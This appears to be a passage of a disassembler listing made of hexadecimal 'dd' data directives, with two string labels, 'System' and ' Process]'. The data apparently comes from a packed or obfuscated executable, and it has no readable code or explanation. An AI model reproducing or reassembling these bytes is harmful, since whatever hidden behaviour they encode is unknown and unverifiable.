		dd 0A97DDC62h, 42358908h, 699615B6h, 45F4162Bh,	2E5BF815h
		dd 1C444AF7h, 89F1C5E6h, 389E9373h, 0D84A3476h,	34475h
		dd 50AADA00h, 0DB2D5F33h, 639FC4BAh, 0E9154C42h
		dd 708AF6C4h, 0DAC4A853h, 433754AEh, 0C4BADB25h, 72406591h
		dd 0B4C8ED19h, 4DFB1373h, 79B6580Ch, 4CB6D246h,	0D4205B2Fh
		dd 0B9D260B7h, 0C506D94Dh, 0A1FE09A5h, 5ADD445Eh, 6A0BFFE8h
		dd 0D72D5559h, 3023E247h, 0D94DB9D2h, 2FCFFF06h, 170DF878h
		dd 41B52694h, 6C70991Ch, 0A101E20Ah, 9574AF5Eh,	3BA72B6Ch
		dd 12CC6DC1h, 5EA101FAh, 54AD6CB7h, 0F90CC732h,	0A579A85Bh
		dd 0F91ED77Bh, 0E2AD6DA7h, 1FF2EA0Ch, 36F456h, 0E55D0000h
		dd 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch, 5DC45BDAh
		dd 2CFB17C9h, 0B141A7F6h, 0E0D6F01Eh, 0C2D0561Eh, 6ACF5FABh
		dd 0F05EABh, 810D0000h,	706322D6h, 205EB9D2h, 0AED4CDEh
		dd 0A45E0A98h, 0C337A0F6h, 64029053h, 0E6A9089Ah, 93C42354h
		dd 9372B767h, 0F925F0F2h, 0AED95EA1h, 24AE204h,	9C07A15Eh
		dd 1C67983Dh, 23E28B31h, 37ECC9Fh, 0DD8E3CFFh, 0F7107529h
		dd 936A8CB5h, 3EA40569h, 4ECF15C7h, 64D62065h, 9807867Ch
		dd 0B8216409h, 0AAAC569Eh, 0AF01C43Eh, 20E14071h, 4DF9725h
		dd 89082AFBh, 59E91678h, 3FCAA2AFh, 9E8AD9D9h, 59E649F5h
		dd 69B2E222h, 0C84BD298h, 55B5F637h, 0AC0DF639h, 0D86A2D74h
		dd 0ED1349A0h, 6D15690Ah, 0F1D43797h, 0AE3C3F8Fh, 1CC27h
		dd 0C8325200h, 53A5D7ABh, 0DB275C32h, 619DC4BAh, 0E8124E3Ch
		dd 524C20CBh, 0DBAFCC36h, 5C3253ADh, 0CAB8DD29h, 3C406591h
		dd 4A739BFBh, 0F13E580Ch, 4CB6D2DEh, 8A205B2Fh,	0A1FECC68h
		dd 0B716895Eh, 0FCE50316h, 5CCE3AADh, 0A5C57ADDh, 5BF9E264h
		dd 0FA24F629h, 0A7F62C56h, 8D632CECh, 561EE16Bh, 0BE73h
		dd 0B9D2DC00h, 1F4BD94Dh, 2A565CE5h, 5CDF42D0h,	0F99914CEh
		dd 0C2B55EA1h, 116C9536h, 0E4DCFD47h, 7AC84B74h, 0A421F501h
		dd 0A6C8793Bh, 0A405755Fh, 0A1E48918h, 84C57A38h, 0F69FCA62h
		dd 0CD31A8A7h, 0B34CCF56h, 0AF158B53h, 42FF26A2h, 769EC001h
		dd 43AC0D3Ch, 0F5ED21E0h, 8BFCF20Fh, 8B0AAF7Fh,	0ACD5D9EAh
		dd 0DC5FC250h, 2A88726Eh, 3F8F3BDBh, 0F220AD3Fh, 88000000h
		dd 398D2ED4h, 0A614B94Fh, 0D2A0C539h, 542A4BB7h, 16B5D62Ch
		dd 3EC4BC5Eh, 4DB3299Dh, 0D7235A28h, 6397C0B6h,	9DFD0242h
		dd 580C4B71h, 0D2DCF33Ch, 0BB215FB6h, 0EE9E892Dh, 0EF4E3196h
		dd 7B8FF8CEh, 6C92C8C6h, 9F59C8ADh, 0A329964h, 0DA65F0D6h
		dd 0A7F55163h, 76C44726h, 949505h, 3E829123h, 0C934CF5Fh
		dd 1D870C30h, 43F3B285h, 0FCBFDC28h, 55B05113h,	0D1249A97h
		dd 0FD232638h, 841C4EB6h, 53B34CCFh, 5BFD964Bh,	4CBA2C66h
		dd 12954EDh, 49E4D68Ah,	2C48AA57h, 69A7F24Eh, 51E77736h
		dd 0DDB1D226h, 12CC5EAAh, 72BF4B98h, 714B441Ch,	414DF206h
		dd 7084F116h, 1D9C7FA2h, 0A5510A78h, 3AC6A3F1h,	2CD08905h
		dd 575BF313h, 8F16DD57h, 9B759E0Ch, 0A95D0E34h,	55C5B604h
		dd 1EC3CD74h, 0B86ACDF8h, 855h,	403EB400h, 0E0ECFFBEh
		dd 48B2D2F1h, 0E71344DAh, 0F4E137h, 98661C92h, 36CCB40Ah
		dd 50AAD664h, 0E9154CC2h, 4F8E735h, 0A0560096h,	895214F2h
		dd 4C281E2h, 83000000h,	148704EAh, 24248B24h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 8950243Ch, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 5055242Ch, 364F92B8h
		dd 3436350Ch, 0E8C16630h, 0F7D8F706h, 1235D8h, 0C5893752h
		dd 0C55FBF58h, 0EF293DA7h, 2C8B545Dh, 4C48124h,	81000000h
		dd 4ECh, 243C8900h, 8B08458Fh, 8952242Ch, 4C281E2h, 83000000h
		dd 148704C2h, 3C8B5C24h, 0E0895024h, 405h, 40500h, 4870000h
		dd 39E95C24h, 78FFFB8Fh, 0B470EF9Ah, 0D42C7131h, 27F09600h
		dd 0B671B8A5h, 0C50306ADh, 528E0FFh, 5EEF11EAh,	0B81E6002h
		dd 875475B1h, 1DA82F07h, 0D8E97A1Dh, 1044303Bh,	32B75072h
		dd 8E7035A9h, 65EC7E6Ch, 82FF1201h, 8A5C2420h, 0B97470B6h
		dd 405513E7h, 0F7EF30D6h, 0E3450132h, 19F1701Ah, 0A6CA5803h
		dd 3C6B3C80h, 27BD62CEh, 247471ECh, 0A1B43B9Dh,	90451498h
		dd 0E83D83h, 39C87A34h,	78E935D3h, 0F0A424FAh, 37924AE9h
		dd 298602A2h, 13187E96h, 0E263585Dh, 42E9645Fh,	0C3000000h
		dd 450D24h, 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh
		dd 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h
		dd 0DE196063h, 5 dup(0)
		dd 0A75E900h, 0FD680000h, 0E906ADB8h, 0FFFAC5C6h, 0ADBA7268h
		dd 0C5BCE906h, 7668FFFAh, 0E906ADBBh, 0FFFAC5B2h, 0ADBC0468h
		dd 0C5A8E906h, 0E168FFFAh, 0E906ADBCh, 0FFFAC59Eh, 0ADBDBF68h
		dd 0C594E906h, 5A68FFFAh, 0E906ADBEh, 0FFFAC58Ah, 0ADC00468h
		dd 0C580E906h, 2368FFFAh, 0E906ADC1h, 0FFFAC576h, 4EDC95B4h
		dd 0B90D48E5h, 0EF3B7216h, 0DF6B2E44h, 89ED374h, 324EE83h
		dd 3757F84Eh, 0E1832C7Ah, 92B112A8h, 0DDF4FDBh,	58EBFFBh
		dd 0D84785B6h, 0D80EB5E7h, 58F35AEh, 0A0C82BB6h, 0C55344E9h
		dd 9EA103Bh, 7587236Ah,	14C7C0Eh, 0B218901Bh, 8F3B7211h
		dd 0EA4E0324h, 547ED79h, 0B605D205h, 0F5BCDCFFh, 508CC21Ch
		dd 0F43B65CAh, 0AB1E3A4h, 6A1CAADCh, 4DE6BCB3h,	5E173699h
		dd 5C467C8h, 97802D68h,	0AECE08BEh, 4E7BACEAh, 33BEC01Ah
		dd 0FF2960BCh, 0D341CAB9h, 3151B268h, 94363C7Ch, 0C35BDEC5h
		dd 0DB7494BFh, 35E5CE71h, 8C10DF6h, 67020000h, 1A37982Eh
		dd 0C068CB5Fh, 0FC923D89h, 0A1C26DB9h, 0A0D15EECh, 0E9CD172h
		dd 72C885A5h, 0ACFAB3D1h, 9D296003h, 71A9D309h,	53B6058Fh
		dd 5CFF2E15h, 74178815h, 0FE5EE93Dh, 0F867A145h, 0CAB5FFF5h
		dd 6B2E43ACh, 0ED2DD5C6h, 0F3B5FFF5h, 0FFF65149h, 0C61833B5h
		dd 2F2F746Dh, 0B5FFF5E7h, 0D5765983h, 0FABB1098h, 77CD0CF8h
		dd 47EB14h, 0E73C0000h,	0F7D80EB5h, 13C21C55h, 0C7FF439Eh
		dd 0AAD01A9Eh, 3E632A49h, 62BD4BEDh, 20B60053h,	13B5D3F7h
		dd 0B6005317h, 75D642EDh, 52B1F5h, 0AC17CDB6h, 4059C68Bh
		dd 0A6F2BFDFh, 7A5664CDh, 9D1477AAh, 104h, 3459BAA6h, 0D5782771h
		dd 0ED8E179Ch, 0AAE3826Dh, 57D72860h, 58311AAFh, 84A40FDBh
		dd 0C06D2845h, 78B1FED7h, 85CC6F30h, 90DD7E61h,	35C01A13h
		dd 9ED22542h, 0CB543761h, 0A3A5E1A8h, 0AF585360h, 0DD692043h
		dd 9A69A537h, 0F6D267E9h, 9F5EFDA2h, 316AB7F2h,	0E252DB58h
		dd 0D01BAD59h, 0B2B60022h, 0B9E70D99h, 230B0Fh,	8CBFF9B6h
		dd 6DBACA87h, 7FC86059h, 64066DDh, 0BCAB21AAh, 0ED0BBF98h
		dd 802D6002h, 3C7D3E76h, 0DFC8FA29h, 0F399912Bh, 0C06BBCAAh
		dd 0EBA6C768h, 0FFB2D43Fh, 553F79B2h, 6B2E44AFh, 881558FAh
		dd 0F596199Fh, 0E6470230h, 0F2160F46h, 0EC7F5D57h, 4C897AB9h
		dd 8D000007h, 0BC67A3EAh, 0EB54D297h, 1D86044Dh, 4DF63471h
		dd 5E25612Ch, 1B56F71Bh, 4F02248Fh, 7D3458FBh, 0AEE78629h
		dd 2C5E8C18h, 0B60590ECh, 0FFAB90D6h, 0B2F79B5Eh, 43E24DD9h
		dd 456BC0Ah, 3193CFE3h,	4368C015h, 0D80EB5E7h, 901851F7h
		dd 0A0C32C4Ah, 0C55344E9h, 4EC03h, 497DD6B6h, 5A19923h
		dd 0C863B600h, 3B7B8360h, 57B60005h, 4C01228Dh,	8962B6E7h
		dd 0F83E2A28h, 0C0D91477h, 62000000h, 88155CFFh, 0ADDA7617h
		dd 0C153ADA8h, 0A2A409E2h, 0AF58305Fh, 0D2682144h, 169BD271h
		dd 0E4BE7C8h, 0E5BF1DAAh, 0F8B9D5B9h, 78AE874Dh, 1E57F1D2h
		dd 0A6FD4C9Ah, 6CC7B600h, 0B9CF6DDEh, 0A70B0Fh,	655EF9B6h
		dd 459A0741h, 0CF68BCABh, 7612FD1Bh, 21B9F23Fh,	0FEC13491h
		dd 941B9D53h, 0E208BEF3h, 0AB996058h, 0E28122BCh, 0F214B2ABh
		dd 0BCAB98B6h, 8F75A38Ch, 9A4E0324h, 0EC7EB879h, 48C3BC7Fh
		dd 89000006h, 0C063A7EEh, 0EF50D693h, 19BA0049h, 49EA3075h
		dd 5A216528h, 175AFB17h, 430E3093h, 71385CC7h, 0A2EB8A35h
		dd 205A8064h, 0B60591E8h, 0FFB79CDAh, 0B0F99B5Eh, 0BDE043C7h
		dd 0FF89B6F4h, 0B2FB9D5Ch, 0A6CB3C6Dh, 0FCA50AE3h, 708A1059h
		dd 0AF57D734h, 487EC577h, 58EBB3Eh, 78AE89B6h, 1C51F1D2h
		dd 3970139Ch, 0A72342EDh, 58F2565h, 5B341FB6h, 5CE755D6h
		dd 95011CAEh, 0E0C3BCADh, 70A9F6B3h, 0BCBC6187h, 0FD3EEC7Ch
		dd 5BA04h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
		dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
		dd 1696145Dh, 9376B2D4h, 0E4CB605h, 3F59BA21h, 0D70901BBh
		dd 50FBAF57h, 0B7E13A67h, 0E48445E8h, 571A3CADh, 0CD70317Eh
		dd 4D6B0D65h, 0EFD89D39h, 0E47E142h, 175200A1h,	0F1B22B8Ah
		dd 0EDB61F62h, 0B80E47E6h, 0DFAF201Ch, 6304EF12h, 0A8812Eh
		dd 7F2h, 73DF5500h, 0FA000001h,	57D75EA6h, 44FF5DAFh, 8EDA64A6h
		dd 8FA8B605h, 65BB3D5Bh, 90D97CC0h, 0EF1C5046h,	8647E649h
		dd 120BA8E5h, 9C07ED39h, 3B6CB1F8h, 5A1332FDh, 0BAE054D5h
		dd 18BAF4BCh, 18CEA75Ch, 397C11F2h, 0C507A3F4h,	0B60590C5h
		dd 0C20494BFh, 0BCAD96ABh, 0CD0ABE99h, 0F3EC7CBAh, 4DD4F30h
		dd 7B1E0000h, 264BF432h, 0DC7C2763h, 80AE1195h,	0BDDE41C5h
		dd 8C2DAAF0h, 12A8E586h, 4EDC91B1h, 0B80E47E5h,	0E93D7417h
		dd 5D5DEF7Dh, 27B60593h, 5CFF3AE1h, 0ADBEADF4h,	5E375FA8h
		dd 642D50D1h, 88C5663Fh, 94D97A2Bh, 42E3C80Fh, 3EE74CB3h
		dd 0A95D1437h, 0C76C2946h, 12F842D6h, 67D89DB1h, 892D8BC6h
		dd 12DF619Dh, 83CE6F50h, 69AB0D1Eh, 7, 9CDFB2h,	0E7FA0000h
		dd 0B2D80EB5h, 8793C51h, 0A8812E6Bh, 8E8DC600h,	0DC77B605h
		dd 22A6C52Eh, 58EA098h,	0D0C962B6h, 3E7A8C2Ah, 4B6058Eh
		dd 9C078D2Bh, 0A90AB0F9h, 0F152C68Fh, 0A5E88A75h, 0BB00B473h
		dd 456BFD0Fh, 0FE59BCB3h, 0D44E7C8h, 3E7716B9h,	3F8428F1h
		dd 5F6A718Bh, 0FF58C35Bh, 0CEF308C9h, 58298AE5h, 3FFh
		dd 0CA501940h, 581C469h, 73B7FE9Ah, 0A3E7A2D0h,	94125F00h
		dd 87A86A0Fh, 0B3D37CCAh, 6507A8FEh, 16359E2Ch,	8953CB5Fh
		dd 5943B7Fh, 64C309B6h,	107DFh,	0B5E7FA00h, 55F7D80Eh
		dd 1286971Ch, 2741A2C8h, 0C73CCA6Eh, 0BDB6058Eh, 0E88B7492h
		dd 9BBA65A1h, 68CC4DD2h, 439537D3h, 1BCB347h, 0DAB3FA9Eh
		dd 0E9A0C32Ch, 9253F25Dh, 5FC4BDF0h, 21C57EDEh,	474941FBh
		dd 103BBCB3h, 21285298h, 0E3C35B61h, 19D198C0h,	0F2B30EC3h
		dd 70A88170h, 0E5CED5ABh, 6475CEEDh, 0A5000003h, 0D47FCB82h
		dd 3ACFABFh, 359E2C65h,	65CE5C19h, 0B63D89C4h, 236E0F03h
		dd 571A3CE7h, 85CC70D3h, 0B6FF9E01h, 0D476F470h, 0B60594D4h
		dd 0FFC368AEh, 1788155Ch, 26893D74h, 0ECA1C104h, 0BCF192F3h
		dd 0A3088F7Ch, 1158FB02h, 87C16F95h, 0AF57D783h, 0BE1CD641h
		dd 5F7BC16h, 0AA861286h, 6512DFC6h, 3091D47Ah, 0CDDE430Eh
		dd 32A96Bh, 39B30000h, 0F605D355h, 81385BEh, 0D80EB5E7h
		dd 2715AEh, 0A644EFB6h,	0D4521B3Dh, 0E9A4C52Eh,	277EB94Fh
		dd 625B600h, 3058FB4Fh,	0C44B3479h, 6E000002h, 0F6145DFFh
		dd 0F825600Dh, 99A09AFh, 3CE7236Ah, 17D35019h, 6CD7EEC5h
		dd 0BE6CE9CDh, 58040C0Ch, 0DB5DF6AFh, 22783154h, 5A803B99h
		dd 22BD20h, 9A05A3B6h, 1008B2FBh, 0F2B60023h, 631DF59h
		dd 23555199h, 9A71B600h, 9E2D1919h, 55C81477h, 92000000h
		dd 0DE5A1331h, 0EA1CBAD5h, 0AF57D6AEh, 5F123394h, 0C7753266h
		dd 0E13C4E7Ch, 0A3B60004h, 5070345h, 52FDB600h,	0E5274D79h
		dd 0B60005A5h, 8764B49Fh, 9DD4785Bh, 57910710h,	0B600064Fh
		dd 131F806Bh, 1477F927h, 0CAC6h, 0C8729800h, 0B60011D0h
		dd 141F99B2h, 88155CFFh, 8F3B7617h, 0A89FAA4Dh,	0AD0BB86Ch
		dd 8FC6653Eh, 23E28122h, 0B2EB4801h, 34793C51h,	4ABC0AE3h
		dd 0AF583947h, 2A70395Ch, 7EA3EA89h, 82C1FBDh, 0F2BFE041h
		dd 305BED19h, 12B60049h, 0FA5AED39h, 3663A541h
		dd 0CBCAAEBh, 7B1C8723h, 2E4FF036h, 66704563h, 8122EC7Fh
		dd 1BA00h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
		dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
		dd 1696145Dh, 9776B2D4h, 0E4CB605h, 135EFF21h, 256C0CF7h
		dd 8309AFF8h, 8D8D3F65h, 77AF57D7h, 0B0D35CDCh,	557BA234h
		dd 0C85429FBh, 58990A0Eh, 0EE5FF8AFh, 8F980540h, 0BA2B1096h
		dd 23753859h, 5F8B3064h, 4D22Dh, 6D0FB0B6h, 58C58CACh
		dd 16B0564Fh, 0B6000512h, 0B86E47F0h, 3A7E3B57h, 0D5779D49h
		dd 0B60004D5h, 0D21484AFh, 0B60004D2h, 0D09C05EEh, 51810AAh
		dd 41EAB600h, 0F85743D7h, 0B3B61477h, 89000000h, 88155CFFh
		dd 0F63B7617h, 57DB2D74h, 9ED776AFh, 0D63FEE68h, 9AC5FB3Fh
		dd 654EB41Eh, 2F598DC8h, 0AF5826EBh, 753A7ED9h,	89129FD6h
		dd 0D06A902Bh, 0B60036A9h, 0C00AB09Bh, 0B82B402Bh, 6BD147C7h
		dd 23C77CD0h, 0AAC55199h, 0EF9033BCh, 2CD5443h,	8C65D4D6h
		dd 0E91DF627h, 0F2286506h, 0C6EA9878h, 3C7CB2DDh, 14CED56h
		dd 8016F8E7h, 4C35F6ECh, 9Bh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh
		dd 783C66Ch, 70B6FB9Ch,	2B4CC6EBh, 0DF7F2066h, 89AB1492h
		dd 0BAD97AC0h, 3537B7F3h, 5989793h, 2F6DB6h, 97135EFFh
		dd 0A4C8092Ch, 7E5740EDh, 5CFF0328h, 74178815h,	0FE5EE93Dh
		dd 0C17BA145h, 0AF57D6C9h, 0D21890BBh, 58F16A8h, 0DE43ECB6h
		dd 0CBB8F600h, 0B9771AA6h, 12AB6421h, 991F9A80h, 0E83E7716h
		dd 0C06D2447h, 0A6396206h, 199A73F9h, 0EC3A7312h, 0C4692043h
		dd 2D72375Bh, 1920812Ah, 4CF7337Ah, 42C36029h, 3, 0FFCBB065h
		dd 138C1158h, 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh
		dd 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 12B968h
		dd 243C8900h, 446F68h, 24148900h, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 55243C89h, 0ADB84BBDh, 2C815506h,	0E13F8C24h
		dd 0C2815A27h, 27E13F8Ch, 3C8B545Dh, 4C48324h, 88B95152h
		dd 29766F73h, 5904244Ch, 8108478Fh, 73880847h, 3C8B766Fh
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch
		dd 4C4815Ah, 0E9000000h, 0FFFABB66h, 0CB1D1EB6h, 1434CE13h
		dd 0B852F287h, 6ADC1E3h, 0E0FFC503h, 593F15E3h,	4CA2D1D3h
		dd 1B179E4Ch, 67258F12h, 0F0A002Fh, 704694F2h, 11D9854Ah
		dd 0EF74790h, 0ACEBC55h, 6A12EBF3h, 7A27794Bh, 1F3AF2C8h
		dd 18750392h, 71430DA2h, 0C3678D8Dh, 830F06ADh,	6, 2651B58Bh
		dd 8D8906A8h, 6A805B9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0DCC35545h, 0B35497CCh, 6985C723h, 1406A814h
		dd 6A000063h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 1A4BC357h, 85BBC6C1h, 0C76CB401h
		dd 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 60E27FE9h, 59D4D36Bh
		dd 0CB818A90h, 56123550h, 26199509h, 0B5FF06A8h, 6A80915h
		dd 90901BAh, 0DD95FF34h, 8906A820h, 0A80CBDBDh,	0FF006A06h
		dd 0A81B3195h, 0EBC08B06h, 5821825Fh, 55413ACFh, 973CE4AAh
		dd 0DBB3EC84h, 0E2382373h, 7679B713h, 0D2C78BCh, 0CB3B16FBh
		dd 5D387441h, 23F9FB6Eh, 3429E2BEh, 1CB1A629h, 0D8E0D0DEh
		dd 0D5383C77h, 389BC21Ch, 4A41C9AAh, 97A3EA8Dh,	644FA055h
		dd 0A3713E91h, 12F757E4h, 98CC4F18h, 0E492422Bh, 0BD38D464h
		dd 956493F3h, 0C4E48D8Dh, 6A06ADh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9453EAC3h, 60DF6F66h
		dd 0B358D89h, 816606A8h, 6148F3F1h, 0E2C0DE81h,	8D8948F7h
		dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0CCC35141h, 595C529Bh, 8D897608h, 6A81C19h, 146985C7h
		dd 64E806A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0C35280C3h, 0DCD5784Bh, 0FD98B94h
		dd 68Dh, 0F1858900h, 3306A808h,	0A8344985h, 0BD85C706h
		dd 6A80Bh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D8D5C353h, 0AD53B9D2h, 0D59D8BE6h
		dd 0FF06A81Bh, 0A82A11B5h, 0D9BF0F06h, 20DD95FFh, 6A06A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 523CB1C3h, 2D8C4B47h, 2C71B589h, 6A06A8h, 1B3195FFh
		dd 0C08B06A8h, 10F40DEBh, 75F39FECh, 4038A100h,	0E94645F2h
		dd 15Eh, 3CC3347Dh, 86C06EACh, 4E3C4ABAh, 9E15EA4h, 50EA50B1h
		dd 9E950BDh, 50E25E31h,	39C977CEh, 509B2226h, 0D2607658h
		dd 9E64C244h, 50DCB088h, 50AD120Dh, 128h, 0
		dd 4, 2	dup(0)
		dd 2Fh,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 3Ch dup(0)
		dd 0F8E90000h, 68000016h, 6ADC823h, 0FB7FE3E9h,	0C94568FFh
		dd 0D9E906ADh, 68FFFB7Fh, 6ADCA1Eh, 0FB7FCFE9h,	0CB0068FFh
		dd 0C5E906ADh, 68FFFB7Fh, 6ADCC9Ch, 0FB7FBBE9h,	0CDC168FFh
		dd 0B1E906ADh, 68FFFB7Fh, 6ADCE77h, 0FB7FA7E9h,	0CF4168FFh
		dd 9DE906ADh, 68FFFB7Fh, 6ADD193h, 0FB7F93E9h, 0D28768FFh
		dd 89E906ADh, 68FFFB7Fh, 6ADD344h, 0FB7F7FE9h, 0D3D168FFh
		dd 75E906ADh, 68FFFB7Fh, 6ADD57Dh, 0FB7F6BE9h, 0DAE268FFh
		dd 61E906ADh, 68FFFB7Fh, 6ADDBF9h, 0FB7F57E9h, 44BE26FFh
		dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h
		dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 38EF0767h
		dd 6DAA580Ch, 5EB9D232h, 0C628D92Dh, 5EA1FEAEh,	45D9B8EBh
		dd 0CF7084F7h, 0D958A4C3h, 2E08F1B4h, 2C8A253Dh, 33C9F22h
		dd 0F9C016E3h, 0DA48DB5Bh, 0F9EB8828h, 319E32A7h, 1F27B9DFh
		dd 45A556h, 0E58A0000h,	6181BEFCh, 5BF9E258h, 23DD8B07h
		dd 2A5C2E73h, 3BC65DDCh, 2D5A56BAh, 0CD410AD1h,	6298C0B2h
		dd 0C2D01383h, 3DF5EA8h, 0A7F649EFh, 9DEAA555h,	34207F66h
		dd 6F2EBDF9h, 1F06ED0Bh, 0D8F156h, 0D25E0000h, 4BD94DB9h
		dd 7284F61Fh, 0C9E01A0h, 839CDBEh, 1B24DE8Ah, 0A1FE53FBh
		dd 4871E5Eh, 0A3570096h, 0F9FBE002h, 0F4E75EA1h, 0AC226300h
		dd 0F84ACD39h, 22AB7B8Fh, 397A87C5h, 6634C0B5h,	0C79E40C3h
		dd 0F0A40606h, 60890CB1h, 0CFE61D22h, 479F44EBh, 0F214EDACh
		dd 0A2AF1AF2h, 0D7DB64BFh, 55B051ABh, 892C2A9Fh, 1E7F3EF8h
		dd 9FFE9E5h, 0B64C3486h, 8FF1ECD4h, 35980A3Fh, 14A9h, 56778DF1h
		dd 0E3807660h, 6F0CF0EFh, 0F1926E1Bh, 7E1FE59Dh, 0FBE797DFh
		dd 706E5C01h, 0EC99ED8Eh, 54077B18h, 0BEC103A0h, 0C36305Ch
		dd 1D347D58h, 0EE76139Fh, 20643EDFh, 9514F78Eh,	2243B921h
		dd 32CF3BACh, 0DD5FC7BCh, 0EE81467Ah, 0FE23F352h, 8A5D517Bh
		dd 5CDF79ECh, 0FCE5E83Fh, 586181BEh, 75BF9E2h, 2C08A4C6h
		dd 0DA45A7F6h, 1E8C7268h, 1A85189Bh, 2C3A5688h,	0F080A7F6h
		dd 767A8DFh, 0A7F62CEFh, 0DEB87BAAh, 561EE0B8h,	0DBA6h
		dd 139F8B00h, 0BA088B75h, 0D36135C1h, 6D94DB7h,	0FE09A5C5h
		dd 0DD445EA1h, 0F927845Ah, 0A8C35EA1h, 88063F5Ch, 39782AD0h
		dd 6793C476h, 0EBA956B7h, 1293456h, 88AA406h, 0AFD9AD51h
		dd 8564C559h, 6D3CA5E0h, 13738C78h, 0A7F60AFBh,	738C6FB6h
		dd 0AA4D032h, 0AEF1A7F6h, 0DDD112EFh, 68C95DABh, 804279A9h
		dd 0F033A2AFh, 0CE27434Fh, 86E86F93h, 8CB3D1D1h, 0DFE08564h
		dd 2359B6D3h, 9E849DDh,	21951495h, 11E343B9h, 373F8E5Bh
		dd 138728A5h, 0EF970000h, 68027015h, 0D289FD9Eh, 40398D2Eh
		dd 3FAB1FBCh, 7105A0C5h, 8A2BD189h, 13B04E34h, 993ACEBFh
		dd 2546B225h, 1EB6D81Fh, 5B580C37h, 139FE3DEh, 99188A76h
		dd 0C63CA416h, 52A6D1A5h, 0AFCF1031h, 5EA1FE07h, 4150D352h
		dd 0D94DB9D2h, 0C7E4104Bh, 0B54930BEh, 0C83453E1h, 8674D75Ah
		dd 0D06225D9h, 71C757ABh, 22D1F206h, 1630D9B7h,	0E9AB90Dh
		dd 0C976D9ACh, 0F9835CA9h, 6186195Bh, 0C9355220h, 9C799846h
		dd 0C522F44Fh, 4D187A87h, 6E5A3421h, 0F9E66737h, 5ECC32A8h
		dd 79A1CDBh, 0A5987A0Dh, 44DD3DC2h, 69A0D1C5h, 0DD850936h
		dd 0B4217727h, 451AE140h, 0F3CBF26Dh, 666C9514h, 0A3DC8175h
		dd 0F76D4458h, 3BFA7645h, 4624D08Bh, 3958FE86h,	0AED322B0h
		dd 0CC000012h, 75496A90h, 0E2D0F503h, 66547985h, 90E6877Bh
		dd 0CA7112E8h, 7A80F8A2h, 817F6559h, 0BFFEEDCh,	9763146Ah
		dd 6989CEF6h, 580C34CDh, 0D2100F88h, 7CD94DB9h,	0D530D193h
		dd 885DFACEh, 8CA63FA6h, 92482111h, 4E8F7033h, 23E21840h
		dd 0F94576FFh, 0C3E0435Bh, 0BD540C82h, 0C8693DCBh, 7967B569h
		dd 0D1652487h, 21AD52A6h, 57C746BAh, 0B64B09F6h, 0EAB84E38h
		dd 0DB3BC447h, 0A2A5E2A8h, 34758A15h, 693DC1BEh, 82F549C8h
		dd 76615576h, 4CB51082h, 1E91F10Eh, 4DA9572Ah, 3042EA0Ch
		dd 9E57B55Dh, 5BFC29B7h, 4B22702Fh, 0C65DDCBFh,	0B6B5E101h
		dd 0A100B55Dh, 0DA8D013Eh, 4E398D2Eh, 9B17E8BAh, 0A9110ECh
		dd 5192AFEDh, 49DD2B5Dh, 6CF929E8h, 49B005BFh, 0FFEE74D6h
		dd 5AC82877h, 11CCFBh, 48B2D200h, 0D325572Bh, 5BA7DCB2h
		dd 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh, 5B2F4CB6h, 0DCB2D32Dh
		dd 4A385DA9h, 0BCC0E511h, 35F31B7Bh, 71BE580Ch,	4CB6D25Eh
		dd 0D2836C2Fh, 5DDC4EB8h, 982545FAh, 0D55BF9EBh, 4239B54Ah
		dd 0CA4DECBEh, 3B91CA58h, 0F615B3DBh, 0D27A9CA7h, 9FA7F615h
		dd 0A7069904h, 5ABCFD06h, 0A7F61532h, 0D165247Fh, 42EA0CA6h
		dd 0FA7F615h, 0A8395194h, 69B8868Eh, 48B11486h,	80F9F50Ah
		dd 2244BD7Ch, 0A2AE3CF3h, 0B3DB3BBCh, 0FEAC0E4Eh, 0B73BC4A7h
		dd 0BD3732C6h, 0DDD136BDh, 0E0138302h, 0D285BF10h, 0D9068526h
		dd 7A28DE88h, 4BAB5437h, 0A956CF32h, 0B345377Fh, 9BCC42D0h
		dd 0B7CFBF6Fh, 0AEEC1518h, 0E4D47191h, 7EA1B7FEh, 33AE245Dh
		dd 8DFE4CCFh, 0D77BA579h, 74BBFF14h, 0A6D1EBA4h, 1442EA0Ch
		dd 940FBBFFh, 0D343B726h, 0F8CEEF4Eh, 0BFC67B8Fh, 734D2F9Ah
		dd 0C95DDCE6h, 0D8BFCF36h, 0F9B20A08h, 0B3870472h, 0C8F7160h
		dd 1D226089h, 0A7F8ACFDh, 6D0E91BEh, 5BF31354h,	16801400h
		dd 11610C8Fh, 0CE7650B9h, 0F33D05BCh, 0B0D26FCEh, 85485A27h
